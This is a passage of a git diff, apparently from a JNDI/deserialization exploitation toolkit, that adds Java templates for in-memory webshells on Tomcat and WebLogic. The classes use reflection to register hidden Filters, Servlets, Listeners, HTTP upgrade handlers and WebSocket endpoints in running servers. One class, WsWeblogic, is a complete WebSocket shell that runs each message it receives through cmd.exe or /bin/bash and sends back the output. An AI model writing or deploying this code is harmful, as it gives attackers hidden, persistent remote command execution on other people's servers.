org.apache.tomcat.util.descriptor.web.FilterMap; + +import javax.servlet.*; +import java.io.IOException; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.Map; + +/** + * 使用线程注入 Tomcat Filter 型内存马 + * @author nu1r + */ +public class TFMSFromThreadF implements Filter { + + public static String pattern; + + public static String NAME; + + static { + try { + WebappClassLoaderBase webappClassLoaderBase = + (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + + StandardContext standardContext; + + try { + standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + } catch (Exception ignored) { + Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); + field2.setAccessible(true); + + standardContext = (StandardContext) field2.get(root); + } + + Class aClass = null; + try { + aClass = (Class) standardContext.getClass().getSuperclass(); + aClass.getDeclaredField("filterConfigs"); + } catch (Exception e) { + aClass = standardContext.getClass(); + aClass.getDeclaredField("filterConfigs"); + } + Field Configs = aClass.getDeclaredField("filterConfigs"); + Configs.setAccessible(true); + Map filterConfigs = (Map) Configs.get(standardContext); + + TFMSFromThreadF behinderFilter = new TFMSFromThreadF(); + + FilterDef filterDef = new FilterDef(); + filterDef.setFilter(behinderFilter); + filterDef.setFilterName(NAME); + filterDef.setFilterClass(behinderFilter.getClass().getName()); + + standardContext.addFilterDef(filterDef); + + FilterMap filterMap = new FilterMap(); + filterMap.addURLPattern(pattern); + filterMap.setFilterName(NAME); + filterMap.setDispatcher(DispatcherType.REQUEST.name()); + + standardContext.addFilterMapBefore(filterMap); + + Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); + constructor.setAccessible(true); + ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); + + filterConfigs.put(NAME, filterConfig); + } catch (Exception ignored) { + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.java new file mode 100644 index 00000000..b166b3a8 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadLi.java @@ -0,0 +1,64 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.RequestFacade; +import org.apache.catalina.connector.Response; +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * 使用线程注入 Tomcat Listener 型内存马 + */ +public class TFMSFromThreadLi implements ServletRequestListener { + static { + try { + // 获取 standardContext + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + + StandardContext standardContext; + + try { + standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + } catch (Exception ignored) { + Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); + field2.setAccessible(true); + + standardContext = (StandardContext) field2.get(root); + } + + TFMSFromThreadLi listener = new TFMSFromThreadLi(); + standardContext.addApplicationEventListener(listener); + } catch (Exception ignored) { + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + try { + RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest(); + Field field = requestFacade.getClass().getDeclaredField("request"); + field.setAccessible(true); + Request request = (Request) field.get(requestFacade); + Response response = request.getResponse(); + requestInitializedHandle(request, response); + } catch (Exception ignore) { + } + } + + public void requestInitializedHandle(HttpServletRequest request, HttpServletResponse response) { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.java new file mode 100644 index 00000000..47eb7ba2 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TFMSFromThreadS.java @@ -0,0 +1,78 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import org.apache.catalina.Wrapper; +import org.apache.catalina.core.ApplicationServletRegistration; +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.loader.WebappClassLoaderBase; + +import javax.servlet.*; +import java.lang.reflect.Field; + +/** + * 使用线程注入 Tomcat Servlet 型内存马 + * @author nu1r + */ +public class TFMSFromThreadS implements Servlet { + + public static String pattern; + + public static String NAME; + + static { + try { + // 获取 standardContext + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + + StandardContext standardContext; + + try { + standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + } catch (Exception ignored) { + Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); + field2.setAccessible(true); + + standardContext = (StandardContext) field2.get(root); + } + + + if (standardContext.findChild(NAME) == null) { + Wrapper wrapper = standardContext.createWrapper(); + wrapper.setName(NAME); + standardContext.addChild(wrapper); + Servlet servlet = new TFMSFromThreadS(); + + wrapper.setServletClass(servlet.getClass().getName()); + wrapper.setServlet(servlet); + ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); + registration.addMapping(pattern); + } + } catch (Exception ignored) { + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.java new file mode 100644 index 00000000..874298f8 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TLMSFromJMXLi.java @@ -0,0 +1,80 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.RequestFacade; +import org.apache.catalina.connector.Response; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.modeler.Registry; + +import javax.management.DynamicMBean; +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; +import java.util.Set; + +/** + * 使用 JMX Bean 注入 Tomcat Listener 型内存马 + * @author nu1r + */ +public class TLMSFromJMXLi implements ServletRequestListener { + + static { + try { + MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mbeanServer); + + field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + + Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + if (objectSet.size() == 0) { + // springboot的jmx中为Tomcat而非Catalina + objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + } + + for (NamedObject namedObject : objectSet) { + DynamicMBean dynamicMBean = namedObject.getObject(); + field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); + field.setAccessible(true); + obj = field.get(dynamicMBean); + + field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); + field.setAccessible(true); + StandardContext standardContext = (StandardContext) field.get(obj); + + TLMSFromJMXLi listener = new TLMSFromJMXLi(); + standardContext.addApplicationEventListener(listener); + } + } catch (Exception ignored) { + } + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + try { + RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest(); + Field field = requestFacade.getClass().getDeclaredField("request"); + field.setAccessible(true); + Request request = (Request) field.get(requestFacade); + Response response = request.getResponse(); + requestInitializedHandle(request, response); + } catch (Exception ignore) { + } + } + + public void requestInitializedHandle(HttpServletRequest request, HttpServletResponse response) { + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.java new file mode 100644 index 00000000..f3177e8e --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXF.java @@ -0,0 +1,114 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.apache.catalina.Context; +import org.apache.catalina.core.ApplicationFilterConfig; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.modeler.Registry; + +import javax.management.DynamicMBean; +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.servlet.*; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Set; + +/** + * 使用 JMX Bean 注入 Tomcat Filter 型内存马 + * @author nu1r + */ +public class TSMSFromJMXF implements Filter{ + public static String pattern; + + public static String NAME; + + static { + try { + MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mbeanServer); + + field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + + Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + if (objectSet.size() == 0) { + // springboot的jmx中为Tomcat而非Catalina + objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + } + for (NamedObject namedObject : objectSet) { + DynamicMBean dynamicMBean = namedObject.getObject(); + field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); + field.setAccessible(true); + obj = field.get(dynamicMBean); + + field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); + field.setAccessible(true); + StandardContext standardContext = (StandardContext) field.get(obj); + + field = standardContext.getClass().getDeclaredField("filterConfigs"); + field.setAccessible(true); + HashMap map = (HashMap) field.get(standardContext); + + if (map.get(NAME) == null) { + //生成 FilterDef + //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 + Class filterDefClass = null; + try { + filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); + } catch (ClassNotFoundException e) { + filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); + } + + Object filterDef = filterDefClass.newInstance(); + filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, NAME); + Filter filter = new TSMSFromJMXF(); + + filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, filter.getClass().getName()); + filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, filter); + standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, filterDef); + + //设置 FilterMap + //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 + Class filterMapClass = null; + try { + filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); + } catch (ClassNotFoundException e) { + filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); + } + + Object filterMap = filterMapClass.newInstance(); + filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, NAME); + filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, DispatcherType.REQUEST.name()); + filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, pattern); + //调用 addFilterMapBefore 会自动加到队列的最前面,不需要原来的手工去调整顺序了 + standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, filterMap); + + //设置 FilterConfig + Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass); + constructor.setAccessible(true); + ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef}); + map.put(NAME, filterConfig); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) { + } + + @Override + public void destroy() { + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.java new file mode 100644 index 00000000..6bc1eb77 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TSMSFromJMXS.java @@ -0,0 +1,90 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.apache.catalina.Wrapper; +import org.apache.catalina.core.ApplicationServletRegistration; +import org.apache.catalina.core.StandardContext; +import org.apache.tomcat.util.modeler.Registry; + +import javax.management.DynamicMBean; +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.servlet.*; +import java.lang.reflect.Field; +import java.util.Set; + +/** + * 使用 JMX Bean 注入 Tomcat Servlet 型内存马 + * @author nu1r + */ +public class TSMSFromJMXS implements Servlet { + + public static String pattern; + + public static String NAME; + + static { + try { + MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mbeanServer); + + field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + + Set objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + if (objectSet.size() == 0) { + // springboot的jmx中为Tomcat而非Catalina + objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null); + } + for (NamedObject namedObject : objectSet) { + DynamicMBean dynamicMBean = namedObject.getObject(); + field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); + field.setAccessible(true); + obj = field.get(dynamicMBean); + + field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context"); + field.setAccessible(true); + StandardContext standardContext = (StandardContext) field.get(obj); + + if (standardContext.findChild(NAME) == null) { + Wrapper wrapper = standardContext.createWrapper(); + wrapper.setName(NAME); + standardContext.addChild(wrapper); + Servlet servlet = new TSMSFromJMXS(); + wrapper.setServletClass(servlet.getClass().getName()); + wrapper.setServlet(servlet); + ServletRegistration.Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext); + registration.addMapping(pattern); + } + } + } catch (Exception ignored) { + } + } + + @Override + public void init(ServletConfig servletConfig) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } + + @Override + public void service(ServletRequest servletRequest, ServletResponse servletResponse) { + } + + @Override + public String getServletInfo() { + return null; + } + + @Override + public void destroy() { + } +} \ No newline at end of file diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.java new file mode 100644 index 00000000..4de2d282 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TUGMSFromJMXuP.java @@ -0,0 +1,100 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.apache.catalina.connector.Connector; +import org.apache.coyote.Adapter; +import org.apache.coyote.Processor; +import org.apache.coyote.Request; +import org.apache.coyote.UpgradeProtocol; +import org.apache.coyote.http11.AbstractHttp11Protocol; +import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler; +import org.apache.tomcat.util.modeler.Registry; +import org.apache.tomcat.util.net.SocketWrapperBase; + +import javax.management.DynamicMBean; +import javax.management.MBeanServer; +import java.lang.reflect.Field; +import java.util.HashMap; + +/** + * Tomcat Upgrade 内存马 + */ +public class TUGMSFromJMXuP implements UpgradeProtocol { + public static String pattern; + + static { + try { + MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer(); + Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + Object obj = field.get(mbeanServer); + + field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + + Field field1 = repository.getClass().getDeclaredField("domainTb"); + field1.setAccessible(true); + + HashMap map = (HashMap) field1.get(repository); + HashMap catalinaMap = (HashMap) map.get("Catalina"); + + for (int i = 0; i < catalinaMap.keySet().size(); i++) { + Object key = catalinaMap.keySet().toArray()[i]; + if (key.toString().contains("type=Connector")) { + NamedObject namedObject = (NamedObject) catalinaMap.get(key); + DynamicMBean dynamicMBean = namedObject.getObject(); + + Field field2 = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource"); + field2.setAccessible(true); + Connector connector = (Connector) field2.get(dynamicMBean); + + Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler"); + protocolHandlerField.setAccessible(true); + AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(connector); + + Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols"); + upgradeProtocolsField.setAccessible(true); + HashMap upgradeProtocols = (HashMap) upgradeProtocolsField.get(handler); + + upgradeProtocols.put(pattern.substring(1), new TUGMSFromJMXuP()); + upgradeProtocolsField.set(handler, upgradeProtocols); + break; + } + } + } catch (Exception ignored) { + } + + } + + @Override + public String getHttpUpgradeName(boolean b) { + return null; + } + + @Override + public byte[] getAlpnIdentifier() { + return new byte[0]; + } + + @Override + public String getAlpnName() { + return null; + } + + @Override + public Processor getProcessor(SocketWrapperBase socketWrapperBase, Adapter adapter) { + return null; + } + + @Override + public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request) { + return null; + } + + @Override + public boolean accept(Request request) { + return false; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.java b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.java new file mode 100644 index 00000000..16226abc --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/tomcat/TWSMSFromThread.java @@ -0,0 +1,65 @@ +package com.qi4l.jndi.template.memshell.tomcat; + +import org.apache.catalina.core.StandardContext; +import org.apache.catalina.core.StandardThreadExecutor; +import org.apache.catalina.loader.WebappClassLoaderBase; +import org.apache.tomcat.util.net.NioEndpoint; +import org.apache.tomcat.util.threads.ThreadPoolExecutor; +import org.apache.tomcat.websocket.server.WsServerContainer; + +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.lang.reflect.Field; +import java.util.concurrent.BlockingQueue; +import java.util.concurrent.ThreadFactory; +import java.util.concurrent.TimeUnit; + +/** + * Executor 内存马 + * @author nu1r + */ +public class TWSMSFromThread extends Endpoint implements MessageHandler.Whole { + + public static String pattern; + + static { + try { + WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); + StandardContext standardContext; + + try { + standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); + } catch (Exception ignored) { + Field field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); + field.setAccessible(true); + Object root = field.get(webappClassLoaderBase); + Field field2 = root.getClass().getDeclaredField("context"); + field2.setAccessible(true); + + standardContext = (StandardContext) field2.get(root); + } + + ServerEndpointConfig build = ServerEndpointConfig.Builder.create(TWSMSFromThread.class, pattern).build(); + WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); + attribute.addEndpoint(build); + standardContext.getServletContext().setAttribute(pattern, pattern); + } catch (Exception ignored) { + } + } + + public Session session; + + public void onMessage(String message) { + } + + + @Override + public void onOpen(Session session, EndpointConfig config) { + this.session = session; + session.addMessageHandler(this); + } +} diff --git a/src/main/java/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.java b/src/main/java/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.java new file mode 100644 index 00000000..fe56d107 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/memshell/weblogic/WsWeblogic.java @@ -0,0 +1,107 @@ +package com.qi4l.jndi.template.memshell.weblogic; + +import com.sun.jmx.mbeanserver.NamedObject; +import com.sun.jmx.mbeanserver.Repository; +import org.glassfish.tyrus.server.TyrusServerContainer; +import weblogic.servlet.internal.HttpConnectionHandler; +import weblogic.servlet.internal.ServletRequestImpl; +import weblogic.servlet.internal.WebAppServletContext; +import weblogic.servlet.provider.ContainerSupportProviderImpl; + +import javax.management.MBeanServer; +import javax.management.ObjectName; +import javax.websocket.Endpoint; +import javax.websocket.EndpointConfig; +import javax.websocket.MessageHandler; +import javax.websocket.Session; +import javax.websocket.server.ServerContainer; +import javax.websocket.server.ServerEndpointConfig; +import java.io.InputStream; +import java.lang.management.ManagementFactory; +import java.lang.reflect.Field; +import java.util.HashSet; +import java.util.Set; + +public class WsWeblogic extends Endpoint implements MessageHandler.Whole { + + static { + try { + Thread threadLocal = Thread.currentThread(); + Field workEntry = threadLocal.getClass().getDeclaredField("workEntry"); + workEntry.setAccessible(true); + weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor wlsRequestExecutor = (ContainerSupportProviderImpl.WlsRequestExecutor) workEntry.get(threadLocal); + Field field1 = wlsRequestExecutor.getClass().getDeclaredField("connectionHandler"); + field1.setAccessible(true); + weblogic.servlet.internal.HttpConnectionHandler connectionHandler = (HttpConnectionHandler) field1.get(wlsRequestExecutor); + ServletRequestImpl request = connectionHandler.getServletRequest(); + String path = request.getParameter("path"); + ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(WsWeblogic.class, path).build(); + MBeanServer server = ManagementFactory.getPlatformMBeanServer(); + Field field = server.getClass().getDeclaredField("wrappedMBeanServer"); + field.setAccessible(true); + Object obj = field.get(server); + field = obj.getClass().getDeclaredField("mbsInterceptor"); + field.setAccessible(true); + obj = field.get(obj); + field = obj.getClass().getDeclaredField("repository"); + field.setAccessible(true); + Repository repository = (Repository) field.get(obj); + Set namedObjects = repository.query(new ObjectName("com.bea:Type=ApplicationRuntime,*"), null); + for (NamedObject namedObject : namedObjects) { + field = namedObject.getObject().getClass().getDeclaredField("managedResource"); + field.setAccessible(true); + obj = field.get(namedObject.getObject()); + field = obj.getClass().getSuperclass().getDeclaredField("children"); + field.setAccessible(true); + HashSet set = (HashSet) field.get(obj); + for (Object o : set) { + if (o.getClass().getName().endsWith("WebAppRuntimeMBeanImpl")) { + field = o.getClass().getDeclaredField("context"); + field.setAccessible(true); + WebAppServletContext servletContext = (WebAppServletContext) field.get(o); + TyrusServerContainer container = (TyrusServerContainer) servletContext.getAttribute(ServerContainer.class.getName()); + try { + container.register((jakarta.websocket.server.ServerEndpointConfig) configEndpoint); + System.out.println("add success,path: " + servletContext.getContextPath() + path); + } catch (Exception e) { + + } + } + } + } + } catch (Exception ignored) { + } + + } + + private Session session; + + @Override + public void onMessage(String s) { + try { + Process process; + boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows"); + if (bool) { + process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s}); + } else { + process = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", s}); + } + InputStream inputStream = process.getInputStream(); + StringBuilder stringBuilder = new StringBuilder(); + int i; + while ((i = inputStream.read()) != -1) + stringBuilder.append((char) i); + inputStream.close(); + process.waitFor(); + session.getBasicRemote().sendText(stringBuilder.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + } + + @Override + public void onOpen(Session session, EndpointConfig endpointConfig) { + this.session = session; + session.addMessageHandler(this); + } +} diff --git a/src/test/java/Main.java b/src/test/java/Main.java new file mode 100644 index 00000000..d8c0b00e --- /dev/null +++ b/src/test/java/Main.java @@ -0,0 +1,12 @@ +import com.qi4l.jndi.gadgets.CommonsBeanutils1Jdbc; +import com.qi4l.jndi.gadgets.ObjectPayload; +import com.qi4l.jndi.gadgets.utils.Serializer; + +import java.io.ByteArrayOutputStream; +import java.util.Arrays; + +public class Main { + public static void main(String[] args) throws Exception { + + } +}